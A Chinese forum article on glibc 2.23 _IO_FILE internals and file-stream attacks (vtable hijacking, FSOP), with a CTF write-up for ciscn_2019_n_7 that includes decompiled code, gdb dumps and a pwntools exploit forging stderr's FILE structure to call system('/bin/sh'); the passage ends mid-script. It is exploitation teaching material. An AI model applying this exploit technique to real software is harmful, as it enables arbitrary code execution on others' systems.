本文为看雪论坛精华文章
看雪论坛作者ID:ztree
在线看glibc源码:https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/
如果没有特别说明,下面涉及的源码和例子均是基于2.23版本。
一
IO_FILE相关知识
1.1 结构体
typedef struct _IO_FILE FILE;
// IO_FILE结构体
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _blksize;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
};
// IO_FILE_complete结构体,在_IO_FILE后面加了一些字段
struct _IO_FILE_complete
{
struct _IO_FILE _file;
_IO_off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
// stdin、stdout……
extern struct _IO_FILE_plus _IO_2_1_stdin_;
FILE *stdin = (FILE *) &_IO_2_1_stdin_; // 虽然stdin的类型是 FILE *,但实际类型却是 _IO_2_1_stdin_ 的类型,即 _IO_FILE_plus
FILE *stdout = (FILE *) &_IO_2_1_stdout_;
//...
// _IO_FILE_plus结构体
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
// _IO_jump_t结构体(虚函数表)
// 路径:/libio/libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
get_column;
set_column;
};
// JUMP_FIELD宏
/** 以 JUMP_FIELD(_IO_xsgetn_t, __xsgetn); 为例继续跟下去看看
TYPE:
_IO_xsgetn_t
typedef _IO_size_t (*_IO_xsgetn_t) (_IO_FILE *FP, void *DATA, _IO_size_t N); // 定义了一个函数指针
:NAME
__xsgetn
因此, JUMP_FIELD(_IO_xsgetn_t, __xsgetn)
<==> _IO_xsgetn_t __xsgetn // 即给函数指针取别名 __xsgetn
**/
1.2 关键函数分析
强烈推荐阅读下面几篇文章:
-
fopen:
-
IO FILE之fopen详解(https://ray-cp.github.io/archivers/IO_FILE_fopen_analysis)
-
fread:
-
IO FILE之fread详解(https://ray-cp.github.io/archivers/IO_FILE_fread_analysis)
-
零基础要如何破除 IO_FILE 利用原理的迷雾(https://tttang.com/archive/1742/#toc_)
-
fwrite:
-
IO FILE之fwrite详解(https://www.tttang.com/archive/1279/)
-
fclose:
-
IO FILE之fclose详解(https://ray-cp.github.io/archivers/IO_FILE_fclose_analysis)
对 IO_FILE 相关几个关键函数的分析可见上面列出的文章。我在此做一点可能是对做题无关紧要的补充及疑问:
前面分析了JUMP_FIELD,知道结构体_IO_jump_t中都是函数指针,但是这些函数指针在哪里被赋值去和它们对应的函数实现绑定的?是在做什么初始化的时候?
在分析fread函数的时候,走到 fread -> _IO_sgetn -> _IO_XSGETN的时候,应该是因为这对做题可能关系不大,我看文章都没有分析宏 _IO_XSGETN。
在gdb中调试的时候, _IO_sgetn -> _IO_XSGETN这一步仅三行汇编,而后跳转到_IO_file_xsgetn,但是对应的汇编却显示函数名是__GI__IO_file_xsgetn,我在后面静态分析代码的时候没有发现这是为什么,希望有知道的大佬告诉本菜鸡。
gdb调试走到调用宏_IO_XSGETN的地方:
0x7ffff7a88710 <_IO_sgetn> mov rax, qword ptr [rdi + 0xd8]
0x7ffff7a88717 <_IO_sgetn+7> mov rax, qword ptr [rax + 0x40]
0x7ffff7a8871b <_IO_sgetn+11> jmp rax
↓
0x7ffff7a85ed0 <__GI__IO_file_xsgetn> push r14
0x7ffff7a85ed2 <__GI__IO_file_xsgetn+2> push r13
0x7ffff7a85ed4 <__GI__IO_file_xsgetn+4> mov r14, rsi
0x7ffff7a85ed7 <__GI__IO_file_xsgetn+7> push r12
0x7ffff7a85ed9 <__GI__IO_file_xsgetn+9> push rbp
0x7ffff7a85eda <__GI__IO_file_xsgetn+10> mov r13, rdx
0x7ffff7a85edd <__GI__IO_file_xsgetn+13> push rbx
0x7ffff7a85ede <__GI__IO_file_xsgetn+14> cmp qword ptr [rdi + 0x38], 0
SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio/fileops.c
1355 }
1356 libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
1357
1358 _IO_size_t
1359 _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
1360 {
1361 _IO_size_t want, have;
1362 _IO_ssize_t count;
1363 char *s = data;
1364
1365 want = n;
静态分析_IO_XSGETN宏
/**
_IO_sgetn函数
fread -> _IO_sgetn -> _IO_XSGETN
路径:/libio/genops.c
**/
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
/* FIXME handle putback buffer here! */
return _IO_XSGETN (fp, data, n); ////////// call _IO_XSGETN
}
libc_hidden_def (_IO_sgetn)
/**
宏 _IO_XSGETN
路径:/libio/libioP.h
**/
/**
宏 JUMPn:JUMPn 主要是跳转到 vtable 对应的字段获取动态函数地址,不同点主要在于参数个数
JUMP2 = (_IO_JUMPS_FUNC(THIS)->FUNC)
路径:/libio/libioP.h
**/
/**
宏 _IO_JUMPS_FUNC:根据 FD 找到到 vtable 地址
路径:/libio/libioP.h
分析:首先,可以看到最终返回的结构体指针的类型是 _IO_jump_t ,即vtable
然后,给_IO_JUMPS_FILE_plus传入FD,根据FD找到对应的 _IO_FILE_plus 结构体
最后返回:_IO_FILE_plus 结构体地址 + vtable的偏移
**/
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)
+ (THIS)->_vtable_offset))
/**
宏 _IO_JUMPS_FILE_plus:根据 FD 找到 _IO_FILE_plus 结构体地址
路径:/libio/libioP.h
**/
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable) // 这里可以明确是 _IO_FILE_plus 结构体
/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing
violation in case THIS has a different pointer type.
路径:/libio/libioP.h
*/
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS))
+ offsetof(TYPE, MEMBER)))
/* Type of MEMBER in struct type TYPE.
路径:/libio/libioP.h
typeof关键字:https://blog.csdn.net/u012066426/article/details/50788984?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-50788984-blog-86496346.pc_relevant_layerdownloadsortv1&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-50788984-blog-86496346.pc_relevant_layerdownloadsortv1
*/
/**
综上,不断展开宏 _IO_XSGETN 看一下:
_IO_XSGETN(FP, DATA, N)
<==> JUMP2 (__xsgetn, FP, DATA, N)
<==> (_IO_JUMPS_FUNC(FP)->__xsgetn) (FP, DATA, N)
// 可以看出 _IO_JUMPS_FUNC(FP)就是要找到 FP 对应的 _IO_jump_t结构体指针
<==> ( (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (FP) + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
// 下面可以看出找_IO_jump_t结构体指针是先找到 _IO_FILE_plus 结构体
<==> ( (*(struct _IO_jump_t **) ((void *) &(_IO_CAST_FIELD_ACCESS ((FP), struct _IO_FILE_plus, vtable)) + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
<==> ( (*(struct _IO_jump_t **) ((void *) &( (*(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable) *)(((char *) (FP)) + offsetof(struct _IO_FILE_plus, vtable)))) + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
<==> ( (*(struct _IO_jump_t **) ((void *) &( (*(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable) *)(((char *) (FP)) + offsetof(struct _IO_FILE_plus, vtable)))) + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
**/
最后,总结一下上面提到的《IO FILE之fxxxx详解》四篇文章:
IO FILE结构体包括两个堆结构,一个是保存IO FILE结构体的堆,一个是输入输出缓冲区的堆。
fopen调用链
// 函数原型:
FILE *fopen(const char *filename, const char *mode);
// 调用链:
fopen(_IO_new_fopen)
-> __fopen_internal
-> malloc // 分配内存空间
-> _IO_no_init // 对 FILE 结构体进行null初始化。
-> _IO_file_init // 将FILE结构体链接进入_IO_list_all链表
-> _IO_file_fopen // 执行系统调用open打开文件,并将文件描述符赋值给FILE结构体的_fileno 字段,最后再次调用_IO_link_in函数,确保该结构体被链接进入_IO_list_all链表。
// 未调用vtable中的函数
fread调用链
// 函数原型:
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
// 调用链:
fread(_IO_fread)
-> _IO_sgetn (_IO_XSGETN(宏))
-> _IO_file_xsgetn(__GI__IO_file_xsgetn) // fread读入数据的核心函数
-> _IO_doallocbuf -> _IO_file_doallocate // 初始化FILE结构体中的指针,建立输入缓冲区
-> __underflow -> _IO_file_underflow // 调用系统调用读入数据
// _IO_file_xsgetn是处理fread读入数据的核心函数,分为三个部分:
// 第一部分是fp->_IO_buf_base为空的情况,表明此时的FILE结构体中的指针未被初始化,输入缓冲区未建立,则调用_IO_doallocbuf去初始化指针,建立输入缓冲区。
// 第二部分是输入缓冲区里有输入,即fp->_IO_read_ptr小于fp->_IO_read_end,此时将缓冲区里的数据直接拷贝至目标buff。
// 第三部分是输入缓冲区里的数据为空或者是不能满足全部的需求,则调用__underflow调用系统调用读入数据。
// 调用vtable中的函数:
// 1、_IO_sgetn函数调用了vtable的_IO_file_xsgetn。
// 2、_IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
// 3、vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
// 4、__underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。
// 5、vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。
fwrite调用链:
//函数原型:
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
// 调用链:
fwrite(_IO_fwrite)
-> _IO_sputn (_IO_XSPUTN)
-> _IO_new_file_xsputn
// 1、首先判断输出缓冲区是否还有容量,如果有,则将目标输出数据拷贝至输出缓冲区。
// 2、如果输出缓冲区没有剩余(输出缓冲区未建立也是没有剩余)或输出缓冲区不够则调用 _IO_OVERFLOW 建立输出缓冲区或刷新输出缓冲区。
-> _IO_OVERFLOW
-> __overflow(_IO_new_file_overflow)
-> // 2.1 判断标志位是否包含 _IO_NO_WRITES,若包含,则直接返回
-> _IO_doallocbuf -> _IO_file_doallocate// 2.2.1 判断输出缓冲区是否为空,若空,则调用 _IO_doallocbuf 去分配
-> _IO_setg // 2.2.2 接2.2,如果为空,分配输出缓冲区后,设置read相关的三个指针
-> // 2.3 初始化其他指针,最主要的是write相关的三个指针
-> _IO_do_write(_IO_new_do_write) // 2.4 调用系统调用write输出输出缓冲区,输出的内容为f->_IO_write_ptr到f->_IO_write_base之间的内容
-> _IO_SYSWRITE -> __write(_IO_new_file_write)
-> write
// 3、输出缓冲区刷新后判断剩余的目标输出数据是否超过块的size,如果超过块的size,则不通过输出缓冲区直接以块为单位,使用 _IO_new_do_write 输出目标数据。
// 4、如果按块输出数据后还剩下一点数据则调用 _IO_default_xsputn 将数据拷贝至输出缓冲区。
-> _IO_default_xsputn
// 调用vtable中的函数
// 1、_IO_fwrite 函数调用了vtable的 _IO_new_file_xsputn。
// 2、_IO_new_file_xsputn 函数调用了vtable中的 _IO_new_file_overflow 实现缓冲区的建立以及刷新缓冲区。
// 3、vtable中的 _IO_new_file_overflow 函数调用了vtable的 _IO_file_doallocate 以初始化输入缓冲区。
// 4、vtable中的_IO_file_doallocate调用了vtable中的 __GI__IO_file_stat 以获取文件信息。
// 5、new_do_write中的_IO_SYSWRITE调用了vtable的 _IO_new_file_write 最终去执行系统调用write。
fclose调用链:
// 函数原型:
int fclose(FILE *stream)
// 调用链:
fclose(_IO_new_fclose)
-> _IO_un_link // 将FILE结构体从_IO_list_all链表中取下
-> _IO_file_close_it // 关闭文件并释放缓冲区
-> _IO_file_is_open // _IO_file_is_open宏检查该文件是否处于打开的状态
-> _IO_do_flush // _IO_do_flush 刷新此时的输出缓冲区
-> _IO_do_write // 调用系统调用将缓冲区的内容输出到文件,并刷新输出缓冲区的值。
-> _IO_SYSCLOSE
-> __close
-> _IO_setb // 设置结构体的buf指针,并释放缓冲区
-> _IO_setg // 设置read相关的指针
-> _IO_setp // 设置write相关的指针
-> _IO_un_link // 确保FILE结构体已从_IO_list_all中取下
-> _IO_FINISH // 进行最后的确认,确认FILE结构体从链表中删除以及缓冲区被释放
-> __finish
-> free // free释放IO_FILE结构体内存
// 调用vtable中的函数:
// 1、在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
// 2、关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
// 3、_IO_FINISH函数为vtable中的__finish函数。
1.3 文件链表
通过_IO_FILE *_chain实现链表结构,头部是全局变量_IO_list_all。
二
_IO_FILE攻击
2.1 虚函数表vtable劫持
如果能够控制_IO_FILE_plus结构体,实现对vtable指针的修改,使得vtable指向可控的内存,在该内存中构造好vtable,再通过调用相应IO函数,触发vtable函数的调用,即可劫持程序执行流。
劫持最关键的点在于修改IO FILE结构体的vtable指针,指向可控内存。一般来说有两种方式:一种是只修改内存中已有FILE结构体的vtable字段;另一种则是伪造整个FILE结构体。当然,两种的本质最终都是修改了vtable字段。
攻击条件
-
有可控内存(视情况而定) -> 伪造FILE结构体
-
任意地址写 -> 修改vtable指针
例子可参考:
零基础要如何破除 IO_FILE 利用原理的迷雾(https://tttang.com/archive/1742/#toc_)
IO FILE 之劫持vtable及FSOP(https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop)
2.2 FSOP
FSOP(File Stream Oriented Programming)的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据,还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
_IO_flush_all_lockp 被系统调用的时机:
_IO_flush_all_lockp 中调用_IO_OVERFLOW的条件,根据短路原理可知需满足:
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
FSOP攻击条件:
ctf-wiki-FSOP
https://ctf-wiki.org/pwn/linux/user-mode/io-file/fsop/
2.2.1 ctf实例 – ciscn_2019_n_7
lzx@ubuntu16x64:~/pwn/heap/IO_FILE/ciscn_2019_n_7$ ls
ciscn_2019_n_7 log.txt
lzx@ubuntu16x64:~/pwn/heap/IO_FILE/ciscn_2019_n_7$ ./ciscn_2019_n_7
1.add page
2.edit page
3.show page
4.exit
Your choice->
Alarm clock
ida分析
main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
__int64 v4; // rdx
__int64 v5; // rcx
bool v6; // zf
bool v7; // sf
unsigned __int8 v8; // of
sub_CA0();
LABEL_2:
while ( 2 )
{
while ( 1 )
{
v3 = sub_D80(a1, a2);
v8 = __OFSUB__(v3, 3);
v6 = v3 == 3;
v7 = v3 - 3 < 0;
if ( v3 != 3 )
break;
LABEL_7:
show(); // 3 - show
}
while ( (unsigned __int8)(v7 ^ v8) | v6 )
{
if ( v3 == 1 ) // 1 - add
{
add();
goto LABEL_2;
}
if ( v3 != 2 )
goto LABEL_11;
edit(); // 2 - edit
v3 = sub_D80(a1, a2);
v8 = __OFSUB__(v3, 3);
v6 = v3 == 3;
v7 = v3 - 3 < 0;
if ( v3 == 3 )
goto LABEL_7;
}
if ( v3 == 4 )
exit_(); // 4 - exit_
if ( v3 == 666 )
{
sub_C50(a1, (__int64)a2, v4, v5); // 666 - 打印puts函数地址
continue;
}
break;
}
LABEL_11:
puts("NO, Please continue! ");
return 0LL;
}
main开头的sub_CA0
unsigned int sub_CA0()
{
FILE *v0; // rbx
char v1; // al
unsigned int result; // eax
unsigned __int64 v3; // rt1
unsigned __int64 v4; // [rsp+8h] [rbp-20h]
v4 = __readfsqword(0x28u);
v0 = fopen("log.txt", "r");
while ( 1 )
{
v1 = fgetc(v0);
if ( v1 == -1 )
break;
IO_putc(v1, stdout);
}
fclose(v0);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(stderr, 0LL, 1, 0LL);
global = malloc(0x18uLL); // malloc了一个chunk给全局变量
v3 = __readfsqword(0x28u);
result = v3 ^ v4;
if ( v3 == v4 )
result = alarm(0x3Cu);
return result;
}
add – 溢出
unsigned __int64 add()
{
int len_; // eax
_QWORD *v1; // r12
__int64 len; // [rsp+0h] [rbp-28h]
unsigned __int64 v4; // [rsp+8h] [rbp-20h]
v4 = __readfsqword(0x28u);
if ( unk_202014 )
{
puts(aExists);
}
else
{
puts("Input string Length: ");
read(0, &len, 8uLL);
len_ = strtol((const char *)&len, 0LL, 10);
if ( (unsigned __int64)len_ > 0x100 )
{
puts("Large!");
}
else
{
v1 = global;
*global = len_;
v1[2] = malloc(len_);
unk_202014 = 1;
puts("Author name:");
read(0, global + 1, 0x10uLL); // 输入0x10长度的author name,可以覆盖article指针
puts("Now,you can edit your article.");
}
}
return __readfsqword(0x28u) ^ v4;
}
edit – 在add溢出后可任意地址写
int edit()
{
int result; // eax
unsigned __int64 v1; // rt1
unsigned __int64 v2; // rt1
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( unk_202014 )
{
puts(aNew);
read(0, global + 1, 0x10uLL); // 同add一样,可溢出修改article指针
puts("New contents:");
read(0, (void *)global[2], *global); // 从这可以看出文章内容存在global[2],若溢出,则可任意地址写
v1 = __readfsqword(0x28u);
result = v1 ^ v3;
if ( v1 == v3 )
result = puts("Over.");
}
else
{
v2 = __readfsqword(0x28u);
result = v2 ^ v3;
if ( v2 == v3 )
result = puts("Dont't exists.");
}
return result;
}
show
int show()
{
int result; // eax
unsigned __int64 v1; // rt1
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
if ( unk_202014 )
{
result = (signed int)global;
if ( __readfsqword(0x28u) == v2 )
result = _printf_chk(1LL, "%snAuthor:%sn", global[2], global + 1);
}
else
{
v1 = __readfsqword(0x28u);
result = v1 ^ v2;
if ( v1 == v2 )
result = puts("Dont't exists.");
}
return result;
}
exit_
void __noreturn exit_()
{
close(1);
close(2);
exit(0);
}
int close(int fd)
{
return close(fd);
}
如果输入666,sub_C50打印puts函数的地址
__int64 __fastcall sub_C50(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__readfsqword(0x28u);
__readfsqword(0x28u);
return _printf_chk(1LL, &unk_10D4, &puts, a4);
}
fsop攻击思路:
exit_ 函数关闭 stdout、stderr 后执行 exit() ,exit() 时系统会调用 _IO_flush_all_lockp ;或者随意输入一个不在菜单上的选项,让程序走main函数的return 0,也会调用_IO_flush_all_lockp(我用后一种思路成功了,前一种未找到原因,就是不成功)。
修改article指针到 _IO_2_1_stderr_ ,布置绕过需要的数据;在适当位置写入 system ,将 vtable 劫持到这个空间上,完成劫持 _IO_flush_all_lockp 为 system 。
写入 _IO_2_1_stderr_ 时将/bin/sh 写到 _IO_FILE 的头部,调用虚函数时 _IO_FILE 是第一个参数。
因为 vtable 中的函数调用时会把对应的 _IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入 _IO_FILE_plus 头部。
调试查看结构体:
p *((struct [结构体类型]*) [地址])
调试分析
step1:泄露地址
# step1: leak addr
command(666)
puts_addr = int(r(14),16)
leak("puts_addr",puts_addr)
libc_base = puts_addr-libc.sym['puts']
leak("libc_base",libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base
leak("IO_2_1_stderr", IO_2_1_stderr)
system=libc_base+libc.sym['system']
leak("system", system)
dbg()
step2:通过add覆盖article指针
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload = 'a'*8 + p64(IO_2_1_stderr)
add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0
dbg()
heap
Allocated chunk | PREV_INUSE
Addr: 0x5646d0338000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5646d0338020
Size: 0x101
Top chunk | PREV_INUSE
Addr: 0x5646d0338120
Size: 0x20ee1
x/8gx 0x5646d0338000
0x5646d0338000: 0x0000000000000000 0x0000000000000021
0x5646d0338010: 0x00000000000000f8 0x6161616161616161
0x5646d0338020: 0x00007f09704ab540 0x0000000000000101 article指针已经被覆盖为指向_IO_2_1_stderr_
0x5646d0338030: 0x0000000000000000 0x0000000000000000
x/gx 0x00007f09704ab540
0x7f09704ab540 <_IO_2_1_stderr_>: 0x00000000fbad2284
step3:通过edit修改_IO_2_1_stderr_的内容
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
#define vtable_offset 0xd8 ->system&onegadget
payload = '/bin/shx00'+p64(0)*3 + p64(0) + p64(1)#0x30
payload += p64(0)*4 + p64(system)*4 #p64(libc_base+0x4526a)*4#0x50-0x70
payload = payload.ljust(0xd8, 'x00')
payload += p64(IO_2_1_stderr+0x40)
edit('an', payload)
dbg()
修改前
p _IO_2_1_stderr_
{ =
file = {
_flags = -72539516,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7efe8674e620 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 ' 00',
_shortbuf = "",
_lock = 0x7efe8674f770 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7efe8674d660 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = ' 00' <repeats 19 times>
},
vtable = 0x7efe8674c6e0 <_IO_file_jumps>
}
修改后
p _IO_2_1_stderr_
{ =
file = {
_flags = 1852400175, # /bin/sh
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0, # 0
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, # 1
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0, # <-- 覆写的vtable会指向这里
_IO_save_base = 0x0,
_IO_backup_base = 0x7efe863ce3a0 <__libc_system> "H205377tv351206372377377f 17 37D", # system
_IO_save_end = 0x7efe863ce3a0 <__libc_system> "H205377tv351206372377377f 17 37D", # system
_markers = 0x7efe863ce3a0 <__libc_system>, # system
_chain = 0x7efe863ce3a0 <__libc_system>, # system
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 ' 00',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = ' 00' <repeats 19 times>
},
vtable = 0x7efe8674e580 <_IO_2_1_stderr_+64> # addr(_IO_2_1_stderr_) + 0x40
}
p _IO_file_jumps
{ =
__dummy = 0,
__dummy2 = 0,
__finish = 0x7efe864029d0 <_IO_new_file_finish>,
__overflow = 0x7efe86403740 <_IO_new_file_overflow>, # exit会调用(偏移为4)
__underflow = 0x7efe864034b0 <_IO_new_file_underflow>,
__uflow = 0x7efe86404610 <__GI__IO_default_uflow>,
__pbackfail = 0x7efe86405990 <__GI__IO_default_pbackfail>,
__xsputn = 0x7efe864021f0 <_IO_new_file_xsputn>,
__xsgetn = 0x7efe86401ed0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7efe864014d0 <_IO_new_file_seekoff>,
__seekpos = 0x7efe86404a10 <_IO_default_seekpos>,
__setbuf = 0x7efe86401440 <_IO_new_file_setbuf>,
__sync = 0x7efe86401380 <_IO_new_file_sync>,
__doallocate = 0x7efe863f6190 <__GI__IO_file_doallocate>,
__read = 0x7efe864021b0 <__GI__IO_file_read>,
__write = 0x7efe86401b80 <_IO_new_file_write>,
__seek = 0x7efe86401980 <__GI__IO_file_seek>,
__close = 0x7efe86401350 <__GI__IO_file_close>,
__stat = 0x7efe86401b70 <__GI__IO_file_stat>,
__showmanyc = 0x7efe86405b00 <_IO_default_showmanyc>,
__imbue = 0x7efe86405b10 <_IO_default_imbue>
}
_IO_FILE结构体里_flags和_IO_read_ptr之间相差8字节,结构体会地址对齐。
p &(stderr->_flags)
8 = (int *) 0x7f9d0bb2b540 <_IO_2_1_stderr_>
p &(stderr->_IO_read_ptr)
9 = (char **) 0x7f9d0bb2b548 <_IO_2_1_stderr_+8>
步骤4:触发exit ->_IO_flush_all_lockp -> __overflow
# step4:exit
command('a')
sleep(0.5)
itr()
exp
人工计算
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug')#,terminal=['tmux','sp','-h'])
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,' '))
uu64 = lambda data :u64(data.ljust(8,' '))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
p = process("./ciscn_2019_n_7")
#p = remote("node4.buuoj.cn",29535)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('./libc-2.23.so')
elf = ELF("./ciscn_2019_n_7")
def dbg():
gdb.attach(p)
pause()
def command(id):
ru("-> n")
sl(str(id))
def add(article_len,author_name):
command(1)
ru('Input string Length: n')
sl(str(article_len))
ru('Author name:n')
s(author_name)
def edit(name, content):
command(2)
ru("New Author name:n")
sl(name)
ru("New contents:n")
s(content)
# step1: leak addr
command(666)
puts_addr = int(r(14),16)
leak("puts_addr",puts_addr)
libc_base = puts_addr-libc.sym['puts']
leak("libc_base",libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base
leak("IO_2_1_stderr", IO_2_1_stderr)
system=libc_base+libc.sym['system']
leak("system", system)
#dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload = 'a'*8 + p64(IO_2_1_stderr)
add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
